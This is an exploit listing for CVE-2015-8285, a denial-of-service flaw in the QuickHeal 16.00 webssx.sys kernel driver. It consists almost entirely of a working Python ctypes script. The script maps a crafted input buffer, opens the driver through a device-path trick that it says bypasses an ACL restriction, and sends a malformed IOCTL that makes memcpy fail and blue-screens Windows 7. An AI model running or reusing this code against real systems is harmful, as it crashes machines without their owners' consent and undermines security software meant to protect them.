QuickHeal 16.00 - 'webssx.sys' Driver Denial of Service

# Exploit Title: QuickHeal webssx.sys driver DOS vulnerability
# Date: 19/02/2016
# Exploit Author: Csaba Fitzl
# Vendor Homepage: http://www.quickheal.co.in/
# Version: 16.00
# Tested on: Win7x86, Win7x64
# CVE : CVE-2015-8285

from ctypes import *
from ctypes.wintypes import *
import sys

kernel32 = windll.kernel32
ntdll = windll.ntdll

#GLOBAL VARIABLES

MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0

def alloc_in(base,evil_size):
	""" Allocate input buffer """
	print "[*] Allocating input buffer"
	baseadd   = c_int(base)
	size = c_int(evil_size)
	evil_input = "\x41" * 0x10
	evil_input += "\x42\x01\x42\x42" #to trigger memcpy
	evil_input += "\x42" * (0x130-0x14)
	evil_input += "\xc0\xff\xff\xff" #this will cause memcpy to fail, and trigger BSOD
	evil_input += "\x43" * (evil_size-len(evil_input))
	ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
											  POINTER(c_int), c_int, c_int]
	dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, 
											 byref(size), 
											 MEM_RESERVE|MEM_COMMIT,
											 PAGE_EXECUTE_READWRITE)
	if dwStatus != STATUS_SUCCESS:
		print "[-] Error while allocating memory: %s" % hex(dwStatus+0xffffffff)
		sys.exit()
	written = c_ulong()
	alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, base, evil_input, len(evil_input), byref(written))
	if alloc == 0:
		print "[-] Error while writing our input buffer memory: %s" %\
			alloc
		sys.exit()

if __name__ == '__main__':
	print "[*] webssx BSOD"
	
	GENERIC_READ  = 0x80000000
	GENERIC_WRITE = 0x40000000
	OPEN_EXISTING = 0x3
	IOCTL_VULN	= 0x830020FC
	DEVICE_NAME   = "\\\\.\\webssx\some" #add "some" to bypass ACL restriction, (FILE_DEVICE_SECURE_OPEN is not applied to the driver)
	dwReturn	  = c_ulong()
	driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)

	inputbuffer	   = 0x41414141 #memory address of the input buffer
	inputbuffer_size  = 0x1000
	outputbuffer_size = 0x0
	outputbuffer	  = 0x20000000 
	alloc_in(inputbuffer,inputbuffer_size)
	IoStatusBlock = c_ulong()
	if driver_handle:
		print "[*] Talking to the driver sending vulnerable IOCTL..."
		dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
									   None,
									   None,
									   None,
									   byref(IoStatusBlock),
									   IOCTL_VULN,
									   inputbuffer,
									   inputbuffer_size,
									   outputbuffer,
									   outputbuffer_size
									   )